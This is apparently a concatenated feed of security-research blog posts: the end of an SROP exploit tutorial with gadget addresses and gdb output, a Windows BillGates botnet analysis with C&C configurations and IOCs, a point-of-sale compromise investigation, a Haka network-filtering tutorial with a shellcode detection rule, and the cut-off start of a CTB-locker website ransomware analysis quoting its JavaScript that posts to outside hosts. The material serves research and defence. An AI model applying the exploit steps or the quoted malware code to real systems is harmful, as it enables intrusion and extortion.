int handle_error(char *msg)
{
	perror(msg);
	exit(-1);
}

Our goal is to change protection of memory page containing our shellcode. More precisely, we want to make the following call so that we can execute our shellcode:

mmprotect(0x601000, 4096, PROT_READ | PROT_WRITE | PROT_EXEC);

Here, is what happens when the vulnerable function returns:

  1. The artificial gadget is executed. It sets rax register to 15.
  2. Our artificial gadget is followed by a syscall gadget that will result in a sigreturn call.
  3. The sigreturn uses our fake uc_mcontext structure to restore registers values. Only non shaded parameters in figure 3 are relevant to the exploit. After this call, rip points to syscall gadget, rax is set to mprotect syscall number, and rdi, rsi and rdx hold the parameters of mprotect function. Additionally, rsp points to our payload in .bss.
  4. mprotect syscall is executed.
  5. ret instruction of syscall gadget is executed. This instruction will set instruction pointer to the address popped from rsp. This address points to our shellcode (see figure 2).
  6. The shellcode is executed.
srop-exploit

Figure 3: Stack after overflowing input buffer

Replaying the exploit

The above code has been compiled using gcc (gcc -g -o server.c server) on a Debian Wheezy running on x_86_64 arch. Before reproducing this exploit, you need to adjust first the following addresses:

  • SYSCALL_GADGET
mtalbi@mtalbi:/home/mtalbi/srop$ cat /proc/self/maps
...
7ffffe5ff000-7ffffe600000 r-xp 00000000 00:00 0         [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
...
gdb$ x/3i 0xffffffffff600000
   0xffffffffff600000:  mov    rax,0x60
   0xffffffffff600007:  syscall 
   0xffffffffff600009:  ret
  • RAX_15_GADGET
mtalbi@mtalbi:/home/mtalbi/srop$ gdb server
(gdb) disas gadget
Dump of assembler code for function gadget:
   0x0000000000400acf <+0>:     push   %rbp
   0x0000000000400ad0 <+1>:     mov    %rsp,%rbp
   0x0000000000400ad3 <+4>:     mov    $0xf,%rax
   0x0000000000400ada <+11>:    retq   
   0x0000000000400adb <+12>:    pop    %rbp
   0x0000000000400adc <+13>:    retq   
End of assembler dump.
  • DATA
(gdb) p &data
$1 = (char (*)[8192]) 0x6012c0

References

[BB14] Erik Bosman and Herbert Bos. We got signal. a return to portable exploits. (working title, subject to change.). In Security & Privacy (Oakland), San Jose, CA, USA, May 2014. IEEE.

[Sha07] Hovav Shacham. The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86). In Proceedings of the 14th ACM Conference on Computer and Communications Security, CCS ’07, pages 552– 561, New York, NY, USA, 2007. ACM.


From Europe to Africa: put your security skills to the test with the Hacknowledge Contest

$
0
0

Join 1,000+ security talents for a unique intercontinental contest of hacking and job-related sessions in Lille on the 27th and 28th of June.

The event’s 6th edition is an exciting opportunity for all French security aficionados to demonstrate the “national savviness” through an entire night battle of ethical hacking games.

Participants will take up on over 70 challenges ranging from forensics to hardware, industrial systems, wired network and more. The most agile contestants will qualify for the Grand Final, where a trip to Las Vegas to attend the well-known DEFCON hacking conference is the ultimate winning prize.

Alongside the contest, all security talents will benefit from both job-related conferences and job dating sessions.

Thanks to its exponential growth, Stormshield, also sponsor of the event, will be actively taking part in the job-related event sessions with the aim of recruiting the brightest candidates.

Now prepare yourself to excel as it won’t be a “hack” of time before you meet with us.

For more information and to register for free, please visit www.hacknowledge-contest.org.


STORMSHIELD PRESENTS THE HAKA PROJECT AT DEF CON 2015

$
0
0

Every year, the best of Hackers’ world finds shelter at the famous hacking convention DEF CON at Paris/Bally’s in Las Vegas (USA).

During the 23rd edition, visitors will as always enjoy a multitude of fun activities such as games, contests, workshops and many more.

However, this year will be a little bit more special for you and for us as this will be your chance to hear about the Haka security project by Stormshield.

On Saturday, August 8th come and meet us for a 2-hour Demo Lab session in which you will learn all about Haka security.


So what is HAKA?

Haka is an open source security oriented language which allows to describe protocols and apply security policies on (live) captured traffic. The overall goal of Haka is to abstract low-level and complex tasks like memory management and packet reassembly to non-developer experts and to provide an easy way to analyze quickly new network protocols.

Top 6 features of Haka security include:

  1. Packet filtering policy
  2. Packet capture
  3. Protocol grammar
  4. Protocol state machine
  5. Modular and extensible design
  6. Integrated debugger

…Plus the new release of Haka’s new network traffic visualization tool: Hakabana.

Where to find us

Two members of the Haka team Medhi Talbi, PHD security researcher and Paul Fariello a software engineer and security enthusiast will be welcoming you at the table 1 of the Demo Labs section of the DEFCON 2015 convention on Saturday, August  8th from 16:00 to 18:00.

Check the full schedule of Demo labs here

To learn more about Haka and attend a full workshop please visit: http://www.haka-security.org/

Received updates on the HAKA Team’s journey at DEFCON2015 on Twitter @Stormshield_  and join the conversation with our hashtag #Hakasecurity

We hope you’ll join the fun and have a Hakamazing day!


When ELF.BillGates met Windows

$
0
0

If you are used to play with honeypots, you have inevitably met the ELF.BillGates malware. It is a known[1] botnet spread over Internet for 4 years.

In a nutshell, ELF.BillGates is a (Chinese) DDOS botnet with backdooring features. It is a binary file with many behaviors depending on the installation path[2]:

  • Gate 0: Infection Monitor (dropper + persistence)
  • Gate 1: Host (Contact C&C + DDOS features)
  • Gate 2: Backdooring
  • Gate 3: Utility spoofing

The “Elf.BillGates” version targets Linux operating system. We have followed the activities of this botnet for several months and during our investigations we found some versions of a Windows fork of the malware. This article attempts to detail this variant.

The primary infection vector is the exploit of the vulnerability CVE-2014-6332[3], which drops the binary file hosted on an HTTPd File Server (HFS)[4]. This vulnerability allows an attacker to escape the Internet Explorer sandbox with a VBScript script and execute an arbitrary binary file downloaded from the Internet.

figure1

figure1.1

Figure 1 – Example of compromised HFS server

First and foremost, we noticed that this malware seems to be currently in development. The author seems to make tests in the wild, and several samples are unstable.

In a few weeks, we collected about thirty samples, and we identified 2 different versions of the malware:

    • A version almost working on Windows XP but unstable on more recent operating systems.
    • A very unstable version based on Safeengine protector (a packer against reverse engineering)[5].

Both versions reference the same symbol path:
F:\Updates\重构\Gates\Release\Gates.pdb

重构 can be translated by builder.

This article analyzes a sample of the first family named 36000.exe (sha1: 4b14d7aca890642c3e269b75953e65cb)

GatesInstall – Gate 0 – Infection monitor

PDB: F:\\Updates\\重构\\GatesInstall\\Release\\GatesInstall.pdb

This is the installation part of the malware, that will drop the different files in the system, and create persistence.

This sample in not obfuscated, but we have met some UPX packed samples.

This binary file embeds seven executable resources.

tableEXE

Figure 2 – PEStudio view of the binary

figure2_table

As we can infer from the PDB path, this binary file is the installer of Win32.BillGates malware.

On its first execution, it checks if the system is not already infected by trying to kill BillGates instance with the system tool taskkill.exe :
Taskkill /F /IM DbSecuritySpt.exe
Taskkill /F /IM Bil.exe
Taskkill /F /IM svch0st.exe
Taskkill /F /IM DNSClient.exe
Taskkill /F /IM DNSProtection.exe

/F is for killing process, /IM is the image name.

After this check, the malware checks the OS version with GetOsVersionExA and fills a global variable with the following value. It is supposed to support all versions of Windows:

Windows Server 2008 R2
Windows Server 2008
Windows 7
Windows Vista
Windows Server 2003
Windows XP
Windows 2000
Windows NT
Windows 32s
Windows Unknown

After that, it checks if it runs on a 32 or a 64-bit OS with the help of the GetSystemWow64DirectoryA API.

Happy to play with an old Windows installation, I tried to launch the installer on Windows 2000 but I was disappointed: GetSystemWow64DirectoryA is only available starting from Windows XP, so the process does not start due to this unresolved reference:

pointdentree-introuvable

Figure 3- Error: Unable to find entry point of GetSystemWow64DirectoryA Proc on kernel32.dll

The detection of OS older than Windows XP is then pretty useless.

After that check, the malware installation depends on the version of the OS.

On Windows 2003 / XP, the following files are created:

C:\Program Files\DbSecuritySpt\DbSecuritySpt.exe (resource 107 or 108)
C:\Program Files\DbSecuritySpt\svch0st.exe (resource 104)
C:\Program Files\Windows Media Player\agony.exe ( resource 103)
C:\Program Files\Windows Media Player\agony.sys (resource 102)
C:\Program Files\Windows Media Player\DNSProtection.exe (resource 107 or 108)
C:\Program Files\Windows Media Player\DNSSupport.exe (resource 107 or 108)

On Windows 2008 Server, two additional files are created:

C:\Program Files\DbSecuritySpt\NPF.sys (resource 105)
C:\Program Files\DbSecuritySpt\packet.dll (resource 106)

DbSecuritySpt.exe, DNSSupport.exe and DNSProtection.exe have the same contents. On the 32-bit edition of the OS, resource 107 is used whereas resource 108 is used on the 64-bit variant of the OS.

After several tests, Win32.Billgates is only able to start on Windows XP. On newer versions of Windows, the installer simply crashes. This crash seems to be related to ASLR. In fact, when the code attempts to retrieve the security cookie in functions handling buffers, it references a hard-coded address as if the binary file was loaded at a fixed address. This generates an access violation.

afterviolation1 afterviolation2

The rest of this article details the analysis of the malware on Windows XP.

Once the binary files are written to disk, GateInstall launches DbSecuritySpt.exe and DNSSupport.exe as services. Creating services requires administrator privileges. In most cases, attackers gain administrator privileges by brute forcing administrator RDP account on Windows Server 2003 computers.

That’s all for the installer.

General

GateInstall writes the same binary file in 3 locations:

C:\Program Files\DbSecuritySpt\DbSecuritySpt.exe (resources 107 or 108)
C:\Program Files\Windows Media Player\DNSProtection.exe (resources 107 or 108)
C:\Program Files\Windows Media Player\DNSSupport.exe (resources 107 or 108)

PDB: F:\\Updates\\重构\\GatesInstall\\Release\\Gates.pdb

Gates starts by an identification routine:

      • Decryption of its configuration
      • Check of the file path and if it is launched as a service.

The configuration is encrypted with a hard-coded RSA 1024 key:

configuration1

Once decrypted, the configuration data is organized in the same way as the ELF version[6]:

configuration2

In the Windows version, Prime C, D and modulus N offset are hard-coded, meaningless and not used.

In this sample we noticed an empty campaign name, but other analyzed samples were linked? to a named campaign:

39.109.0.113:36000:1:1:Cluster:0:737752:737232:736712
say.f322.net:36000:1:1:Cluster:0:737752:737232:736712
1.82.184.200:36000:1:1:linzigege319:0:737752:737232:736712
mou521.f3322.org:52000:1:1:Cluster:0:737752:737232:736712
129.231.45.171:36000:1:1:sys:0:737752:737232:736712

The Windows binary file also contains some clear strings that allow us to say it is a variant of the ELF version:

ELF-version

DbSecuritySpt – Gate 1 – Host

Launched as a service, DbSecuritySpt is the main persistent binary file that is run. To get into DbSecuritySpt behavior, the binary file must be launched as a service from C:\Program Files\DbSecuritySpt\DbSecuritySpt.exe.

DbSecuritySpt launches several threads in charge of fingerprinting the computer, communicating with the C&C infrastructure and performing DDos actions.

The following data is sent to the C&C:

DbSecuritySpt – Gate 1 – Host

DDoS

This service is also in charge of taking part of DDoS campaigns.

DbSecuritySpt is supposed to support several DDoS types: ICMP, SYN UPD and DNS amplification.

The binary file contains a list of 230 hardcoded IP addresses that correspond to DNS servers used for DNS amplification attacks[7].

DDoS

We tested these DNS servers. Only 58 IP addresses seem to be still vulnerable. The other servers were either patched or unreachable.

svch0st – Gate 2 – Backdoor

PDB: E:\SVN\trunk\2014\小陈\重构\IECtrl\Release\IECtrl.pdb

小陈 can be translated as Chen and重构 as builder.

At last, GateInstall drops the binary file C:\Program Files\DbSecuritySpt\svch0st.exe.

The original name of this file is IECtrl.exe. IECtrl is an independent tool also used by other malwares (such as Win32:Wapomi-B https://www.virustotal.com/fr/file/4d7d9a80973b61f5fecdfdcd2e050ed9bc9541ad82ff68c864d851632ca16a77/analysis/ )

It implements the backdoor functionalities of Win32.BillGates. This tool is identified by Microsoft as « Trojan:Win32/WebToos.B ».

DbSecuritySpt.exe passes a list of C&C server URLs as a parameter to IECtrl. IECtrl contains the logic to download, extract and execute payload from these URLs.

DNSSupport – Gate 3 – Spoofing utility

DNSSupport must be run as a service from the location C:\Program Files\Windows Media Player\DNSSupport.exe. Its behavior is simple: it is in charge of launching DNSProtection.exe and leaves the process in an infinite loop preventing the service from being stopped.

Spoofing utility

DNSProtection

DNSProtection is a “spoofing utility” Gate. It is not functional in the analyzed sample. However, static analysis of the binary file allows drawing some conclusions about its internal behavior.

DNSProtection is used for hiding infection traces. It uses the rootkit Agony. Agony is composed of an executable (agony.exe) that loads and runs a driver (agony.sys). This rootkit was released in the wild some years ago. It is used for hiding files, services and network connections. This malware uses DNSProtection for hiding all dropped files (DNSSupport.exe, DNSProtection.exe, DbSecuritySpt.exe, agony.sys, agony.exe and svch0st.exe) and the connections to the C&C servers.

DNSProtection

Agony.sys cannot be loaded on a 64-bit version of the operating system as it is not signed.

Conclusion

Win32.BillGates developers seem not to be used to develop malwares for the Windows operating system. They use poor techniques that can easily be detected by anti-virus software, and the limitations in terms of operating system compatibility could be easily avoided. This Windows port should not be a big threat as the ELF version is.

ELF structure compared with Windows version:

      • GateInstall : Gate 0
      • DbSecuritySpt : Gate 1
      • Svch0st : Gate 2
      • DNSSupport / DNSProtection : Gate 3

Bonus

During our analysis, we noticed some samples with strange behaviors (hooking, binary file infection, IRC connections …). After further analysis it appears that some samples were infected by Win32.Virut and Win32.parite viruses. Virut and Parite are viruses that infect ‘.exe’ and ‘.scr’ Windows binary files on disk. It is possible that the crooks using BillGates malware are working on infected systems.

This may also explain why a lot of Win32.Parite cleaning tools were discovered on several malicious working BillGates C&C servers we visited. J

Here is a screenshot of such a tool:

Bonus

About 30% of analyzed samples were infected by Win32.Parite and 20% by win32.Virut.

 

Appendices

Some Win32.BillGates hashes:

fb7e7b5c35bb5311acc8139350344878
51f00e56b4ef21e6b7d6685ca3fbad1a
f864867f277330f81669a7c90fb6a3f4
c32f27eaadda31c36e32e97c481771c9
8e9e4da1272f0b637917201443fcbd0a

Win32.BillGates infected by Win32.Virut:

93fe8980c6279c090924e8669b0cb582
2130df6f7817c86890a5e922f99430a3

Win32.BillGates infected by Win32.Parite:

129877bf0cbc9b8239c674810675f6f7
6ab1b709903e144e7bf8fb67d7b8ec61

IOCs:

      • Created files :
        • C:\Program Files\DbSecuritySpt\DbSecuritySpt.exe
        • C:\Program Files\DbSecuritySpt\svch0st.exe
        • C:\Program Files\Windows Media Player\agony.exe
        • C:\Program Files\Windows Media Player\agony.sys
        • C:\Program Files\Windows Media Player\DNSProtection.exe
        • C:\Program Files\Windows Media Player\DNSSupport.exe
        • C:\Program Files\DbSecuritySpt\NPF.sys
        • C:\Program Files\DbSecuritySpt\packet.dll
      • Created services:
        • DbSecuritySpt
        • DNSSupport
      • Running processes:
        • DbSecuritySpt
        • DNSSupport
        • DNSProtection
        • exe

[1] https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf

[2] http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf

[3] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6332

[4] http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html

[5] http://www.safengine.com/en-us 

[6] http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf

[7] https://blog.cloudflare.com/deep-inside-a-dns-amplification-ddos-attack/

Related works:

MalwareMustDie : http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html

Avast: https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf

Novetta: http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf

habrahabr.ru: http://habrahabr.ru/post/213973/


Low-cost point of sales (PoS) hacking

$
0
0

Hacking point of sales (PoS) systems is a very trendy topic. A lot of PoS malware can be found in the wild (jackPOS, gamaPOS, Backoff, FighterPOS…). At every big breach of PoS systems, media talk about sophisticated attacks involving high skills and great tools. But sometimes, it can be very easy to compromise a PoS and no particular skills are required to steal sensitive information, such as credit card numbers.
During our investigation, we caught a very interesting case of “low-cost” PoS hacking. This article tries to unveil the inner process of infection.

Everything started with a Win32.Ardamax sample found in the wild. Ardamax is a classical sample which is a commercial keylogger available on the Internet.
After reversing this sample, it appears that the malware uploads data on a FTP server hosted in Germany, on server4you. This FTP can easily be accessed (login and password are embedded in the sample) and contains victims’ uploaded data.
This FTP seems to be used since the 9th of October 2014. The server is full of samples, tools and exfiltrated data.
We cannot publish the original sample, because Server4you has not shutdown the server yet.
Exfiltration server
This repository contains the original Win32.Ardamax sample, malwares (Darkomet, Andromeda, Gorynych…), some memory scrappers to retrieve credit card numbers and websites crawlers scan results.
On the same repository, we can find screenshots, microphone recordings, webcam pictures as well as keystroke recordings for each single infected computer.
Keylog result
Crooks have access to about fifteen point of sales computers as well as to some SCADA systems.

Belgium SCADA

Belgium SCADA

Cinema PoS

Cinema PoS

PoS

PoS

PoS

PoS

PoS

PoS

Brazilian gas pump

Brazilian gas pump

We spent a lot of time contacting CERTs and companies for cleaning computers but day after day new infected point of sales data were uploaded to the FTP repository.
How were crooks able to continuously find new targets to infect?
Amongst uploaded data, some screenshots caught our attention: somebody was using a VNC brute force tool against a large range of IP addresses.


The tool used by crooks can be retrieved from an archive uploaded to the VirusTotal website:
https://www.virustotal.com/fr/file/b6c3445386f053c1cca711c8389ac8b12d05aad46bbfec02d721428442cd2ed5/analysis/1442602500/
It seems they are using infected computers to brute force VNC servers with weak passwords . When a new VNC connection is established, a new payload is downloaded through a regular browser and installed on the newly infected machine. No exploit or sophisticated techniques are employed.

Gorynych installation

Gorynych installation

Once the payload is downloaded, any installed antivirus is configured to ignore it or is even completely uninstalled. This requires administration rights on the computer, but obviously this is quite a common situation on point of sales systems.


This day, it is Gorynych which was spreading: https://www.virustotal.com/fr/file/406c30d40f3837615e3b393edc1d6667213c3d287ec006be6198d68124041d43/analysis/
Last but not least, crooks used compromised computers to administrate the Gorynych panel:



During several days we followed the whole stealing process. Crooks infected point of sales and used mainstream memory scrappers like SearchforCC for credit card numbers exfiltration.
As we can see, there is no need of sophisticated attacks or processes to infect systems. With a little more time, crooks would be able to infect a much larger range of systems. With a short list of 152 weak passwords, an attacker is able to control a lot of point of sales systems. In this case, crooks access from small and medium-sized enterprises to companies with 500 million dollars in annual sales.
This kind of campaign would not be so easy to carry out if:
• Point of sales computers were not directly connected to the Internet;
• Strong VNC passwords were used;
• Administrator accounts were not used to connect to sensitive systems.
This kind of negligence can result in a huge waste of money and a very bad image for the compromised company.

Appendix

Payload found on the FTP site

1edc2a1c19a6deb330f21eb0f70d6161 a.exe
6b5ea21045e2c689f6f00e6979955e29 al.exe
4645b7883d5c8fee6579cc79dee5f683 ares.exe
9d87838b7de92cfa5675a34f11d3e7e1 b1.exe
af13c28f32b47423bfebb98de3a7d193 b2.exe
bf395a47eac637f0b2b765ba91d914c7 b3.exe
af36ed9267379f86fc12cc0cfc43938e bm.exe
57138e9fd20b9b93129ed599062bd379 cn.exe
f8058abb53ae90512b3da787bb25a21e dx.exe
0762764e298c369a2de8afaec5174ed9 fgdump.exe
9e76d363a7f93a2ef22483ce1866e8ee gt.exe
413ba3a4705504e528ce05c095cbc8a5 loader.exe
abd788f868ff4a96b91846dd46c9e701 mircpsy.exe
255daa6722de6ad03545070dfbef3330 mmon.exe
cc074e5542c0daca3d9b261dc642bfaa n.exe
85e5727d23ab417a1d05ce656de358b6 new(1)text.exe
79c8661bd5e69df5bb94032a356adc33 nyf1.exe
f461873a10a4b49197a822db88b707fa PowerGrep4.exe
467dc270f0d0619dbd1dfcc554da5f8b private.exe
10c7cdc821291921a957b94b101524af prv.exe
619e2172359cfff98f3124bdd4d9eeb5 q.exe
7c44933863109c101a52c04544626b7f r.exe
780fe52363ec0745da43fc6776f0be8c Spark.exe
af5aac5ef503c929db12d8e031788321 spy.exe.exe
2976768953979e045c1b5773de29e230 sweet.exe
5f6158cbfc5b2f80ad2ebcbeebfd1562 t2s.exe
30a9088df5a7586ca418cb1600ac8683 x64.exe
ef295b49ac6d6e6a4a43b5af75584830 zip.exe

Related servers

posserverupdate.ddns.net
teamviewer.ddns.net
anjing.no-ip.biz
chiproses.net
maculastudios.com
room402.in
193.84.64.159
212.105.175.93
173.214.168.141



Hackers do the Haka – Part 1

$
0
0

Haka is an open source network security oriented language that allows writing security rules and protocol dissectors. In this first part of a two-part series, we will focus on writing security rules.

What is Haka

Haka is an open source security oriented language that allows specifying and applying security policies on live captured traffic. Haka is based on Lua. It is a simple, lightweight (~200 kB) and fast (a JiT compiler is available) scripting language.

The scope of Haka is twofold. First of all, it enables the specification of security rules to filter unwanted streams and report malicious activities. Haka provides a simple API for advanced packet and stream manipulation. One can drop packets or create new ones and inject them. Haka also supports on-the-fly packet modification. This is one of the main features of Haka since all complex tasks such as resizing packets, setting correctly sequence numbers are done transparently to the user. This is done live without the need of a proxy.

Secondly, Haka is endowed with a grammar allowing the specification of protocols and their underlying state machine. Haka supports both type of protocols : binary-based protocols (e.g. dns) and text-based protocols (e.g. http). The specification covers packet-based protocols such as ip as well as stream-based protocols like http.

Haka is embedded into a modular framework. It includes several packet capture modules (pcap, nfqueue) that enable end users to apply their security policy on live captured traffic or to replay it on a packet trace file. The framework provides also logging (syslog) and alerting modules (syslog, elasticsearch). Alerts follow an IDMEF-like format. Finally, the framework has auxiliary modules such as a pattern matching engine and an instruction disassembler module. These modules allow writing fine-grained security rules to detect obfuscated malware for instance. Haka was designed in a modular fashion enabling users to extend it with additional modules.

arch

Haka Tool Suite

Haka provides a collection of four tools:

    • haka. It is the main program of the collection. It is intended to be used as a daemon to monitor packets in the background. Packets are dissected and filtered according to the specified security policy file. Haka takes as input a configuration file. For example, the following configuration sample file instructs Haka to capture packets from the interface eth0 using nfqueue module and to filter them using the policy file myrules.lua. This script file loads typically user-defined or built-in protocol dissectors and defines a set of security rules. Additionally, users can select the alerting and reporting module to be used and set some specific module options:
      [general]
      # Select the haka configuration file to use
      configuration = "myrules.lua"
      
      # Optionally select the number of thread to use
      # By default, all system thread will be used
      #thread = 4
      
      [packet]
      # Select the capture model, nfqueue or pcap
      module = "packet/nfqueue"
      
      # Select the interfaces to listen to
      #interfaces = "any"
      interfaces = "eth0"
      
      # Select packet dumping for nfqueue
      #dump = yes
      #dump_input = "/tmp/input.pcap"
      #dump_output = "/tmp/output.pcap"
      
      [log]
      # Select the log module
      module = "log/syslog"
      
      # Set the default logging level
      #level = "info,packet=debug"
      
      [alert]
      # Select the alert module
      module = "alert/syslog"
      #module = "alert/file"
      #module = "alert/elasticsearch"
      
      # Disable alert on standard output
      #alert_on_stdout = no
      
    • hakactl. This tool allows controling a running Haka daemon. One can get live statistics on captured packets, inspect logs or simply shutdown/restart the daemon.
    • hakapcap. This tool allows replaying a policy file offline on a packet capture trace using the pcap module. For instance, this is useful to perform network forensics.
    • hakabana. This tool allows visualizing and monitoring network traffic in real time using Kibana and Elasticsearch. Hakabana consists in a set of custom security rules that pushes information about the traffic that passes though Haka on an elastisserach server and made them available through a Kibana dashboard. An additional dashboard is also available to visualize Haka alerts.

Kibana dashboard to visualize alertsKibana dashboard to monitor network trafic

Writing security rules

Haka provides a simple way to write security rules in order to filter, modify, create and inject packets and streams. When a flow is detected as malicious, users can report an alert or drop the flow. Users can define even more complex scenarios to mitigate the impact of an attack. For instance, one can alter http requests to force obsolete browsers to update or forge specific packets to fool scanning port tools.

Packet Filtering

The following rule is a basic packet filtering rule that blocks all connections from a given network address.

local ipv4 = require("protocol/ipv4")
local tcp = require("protocol/tcp_connection")

local net = ipv4.network("192.168.101.0/24")

haka.rule{
    hook = tcp.events.new_connection,
    eval = function (flow, pkt)
        haka.log("tcp connection %s:%i -> %s:%i",
            flow.srcip, flow.srcport,
            flow.dstip, flow.dstport)

        if net:contains(flow.dstip) then
            haka.alert{
                severity = "low",
                description = "connection refused",
                start_time = pkt.ip.raw.timestamp
            }
            flow:drop()
        end
    end
}

The first lines load the required protocol dissectors, namely, ipv4 and tcp connection dissectors. The first one handles ipv4 packets. The latter is a stateful tcp dissector that maintains a connection table and manages tcp streams. The next line, defines the network address that must be blocked.

The security rule is defined through haka.rule keyword. A security rule is made of a hook and a evaluation function eval. The hook is an event that will trigger the evaluation of the security rule. In this example, the security rule will be evaluated at each tcp connection establishment attempt. The parameters passed to the evaluation function depend on the event. In the case of new_connection event, eval takes two parameters: flow and pkt. The first one holds details about the connection and the latter is a table containing all tcp (and lower layer) packet fields.

In the core of the security rule, we log (haka.log) first some information about the current connection. Then, we check if the source address  belongs to the range of non-authorized IP addresses defined previously. If this test succeeds, we raise an alert (haka.alert) and drop the connection.  Note that we reported only few details in the alert. One can add more information such as the source and the targeted service.

We use hakapcap tool to test our rule filter.lua on a pcap trace file filter.pcap:

$ hakapcap filter.lua filter.pcap

Hereafter, is the output of Haka which dumps some info about loaded dissectors and registered rules. The output shows that Haka succeeded to block connections targeting 192.168.101.62 address:

filter

In the above example, we have defined a single rule to block connections. One can write a complete firewall-like rule set using the haka.group keyword. In this configuration case, one can choose a default behavior (e.g. block all connections) if none of the security rule belonging to the group explicitly authorizes the traffic.

Packet Injection

In Haka, one can create new packets and inject them. The following rule crafts an RST packet in order to fool a Xmas nmap scan. As as result, nmap will conclude that all ports are closed on target side.

raw = require("protocol/raw")
ipv4 = require("protocol/ipv4")
tcp = require("protocol/tcp")

haka.rule {
    hook = tcp.events.receive_packet,
    eval = function(pkt)
        local flags = pkt.flags
        -- test for xmas nmap scans
        if flags.fin and flags.psh and flags.urg then
            -- raw packet
            local rstpkt = raw.create()

            -- ip packet
            rstpkt = ipv4.create(rstpkt)
            rstpkt.ttl = pkt.ip.ttl
            rstpkt.dst = pkt.ip.src
            rstpkt.src = pkt.ip.dst

            -- tcp packet
            rstpkt = tcp.create(rstpkt)
            rstpkt.srcport = pkt.dstport
            rstpkt.dstport = pkt.srcport
            rstpkt.flags.rst = true
            rstpkt.flags.ack = true
            rstpkt.ack_seq = pkt.seq + 1

            -- inject forged packet and
            -- drop malicious scanning packet
            rstpkt:send()
            pkt:drop()
        end
    end
}

Packet Altering

Packet modification is one of the most advanced feature of Haka. Haka handles automatically all internal modifications at stream and packet level: resizing and fragmenting packets, resetting sequence numbers, etc. The following example shows how easy it is to access and modify protocol fields. This rule alters some headers of http protocol. More precisely, the user-agent header will be modified (or added to the list of headers if not set), and the accept-encoding header will be removed.

local http = require("protocol/http")

http.install_tcp_rule(80)

haka.rule{
    hook = http.events.request,
    eval = function (flow, request)
        request.headers["User-Agent"] = "HAKA User Agent"
        request.headers["Accept-Encoding"] = nil
    end
}

blurring-the-web and inject_ponies are funny scripts that alter http response traffic in order to blur and pollute (inject garbage) requested web pages, respectively:

blurponies

Stream Filtering

Before presenting stream filtering, we will present first how Haka manages packets and streams internally. In Haka, all packets and streams are represented by virtual buffers (see figure below). Virtual buffers are a unified view of non-adjacent blocks of memory. They allow an easy and efficient modification of memory data. Virtual buffers use scattered lists to represent non-contiguous chunks which avoids allocating and copying superfluous block of memory. Haka provides iterators to navigate through these blocks of memory. These iterators could be blocking which would enable some functions to suspend and then resume transparently their execution when more data is available on the stream for instance.

vbufferThe following rule collects http streams and dumps them on stdout. This rule is equivalent to the “follow tcp stream” feature of Wireshark.

local ipv4 = require('protocol/ipv4')
local tcp_connection = require('protocol/tcp_connection')

haka.rule{
    hook = tcp_connection.events.receive_data,
        options = {
            streamed = true
        },
    eval = function (flow, iter, dir)
        local data = flow.ccdata or {}
        flow.ccdata = data

        while iter:wait() do
            data[#data+1] = iter:sub('available'):asstring()
        end
        haka.log("%s -> %s:\n", flow.srcip, flow.dstip)
        io.write(table.concat(data))
     end
}

Interactive Packet Filtering

Wait, it’s like gdb but for packets !! – Anonymous Haka user

This is my favorite feature of Haka. It allows inspecting the traffic packet per packet. All the magic starts with the following rule which will prompt a shell for each http POST request.

local http = require("protocol/http")

http.install_tcp_rule(80)

haka.rule {
    hook = http.events.request_data,
    eval = function (http, data)
        haka.interactive_rule("interactive mode")(http, data)
    end
}

haka.rule {
    hook = http.events.request,
    eval = function (http, request)
        http:enable_data_modification()
    end
}

The shell gives access to the full Haka API to play with packet content: accessing and modifying packet fields, dropping packets, logging suspicious events, alerting, etc. The Lua console supports auto-completion and therefore is a good starting point to dive into the Haka API.

As shown by the following output, Haka breaks on the first POST request. Http data are available through the inputs variable. In this example, we alter the user credentials on the fly.

interactive

Note that it is best to use the interactive rule on pcap files as the edition will add a substantial delay.

Advanced Stream Filtering

Haka features a pattern matching engine and disassembler modules. These two modules are stream-based which enables us to detect a malicious payload scattered over multiple packets for instance. The following rule, uses a regular expression to detect a nop sled. We enable the streamed option which means that the matching function will block and wait for data to be available to proceed with matching. If a nop sled is detected, we raise an alert and dump the shellcode instruction. Note that the pattern matching function updates the iterator position which points afterwards to the shellcode.

local tcp = require("protocol/tcp_connection")

local rem = require("regexp/pcre")
local re = rem.re:compile("%x90{100,}")

local asm = require("misc/asm")
local dasm = asm.new_disassembler("x86", "32")

haka.rule{
    hook = tcp.events.receive_data,
        options = {
            streamed = true,
    },
    eval = function (flow, iter, direction)
        if re:match(iter, false) then
            -- raise an alert
            haka.alert{
                description = "nop sled detected",
            }
            -- dump instructions following nop sled
            dasm:dump_instructions(iter)
        end
    end
}

Replaying this rule on the well-known network forensic challenge results on the following output. More details about disassembling network traffic into instruction are available here.

asm

To be continued …

Links


A lockpicking exercise

$
0
0

A malware calling itself « CTB-locker » is spreading over some websites since the 12th of February 2016. This campaign is different to classical ransomware attacks that focus only on workstations, at first sight, CTB-locker seems also to focus on websites in order to encrypt all files located in the server.
I found this campaign by accident. During an investigation, I retrieved a malicious binary file from hXXp://www.klingenberg.it/IMG0503405025-JPG.scr. In order to understand the context, I visited the homepage of this server and landed to this rather scary page:
1
The ‘Decrypt’ button browses to a page offering to decrypt two of the lost files for free:
2
If the website administrator worries, a chat with the crooks is even possible!
3
I was not aware that CTB-Locker was also attacking websites?! It was time for further investigation.
With the help of some search engines, I was able to found a lot of websites with the same homepage:
4
It seems that an attack was ongoing. To help, you can find a list of these websites on Pastebin: http://pastebin.com/UyXFSL3M
Quickly I was able to found 102 websites infected by this « CTB-Locker ».
Javascipt explains something interesting in their homepage (index.php):


admins = ["http://erdeni.ru/access.php", "http://studiogreystar.com/access.php", "http://a1hose.com/access.php"];
iadmin = 0;
domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]);
function post_admin(postdata, onsuccess) {
$.post(admins[iadmin], postdata+"domain="+domain, function (data) {
[..]

$(‘#decrypt’).click(function() {
post_admin(“decrypt=”, function(data) {
[…]


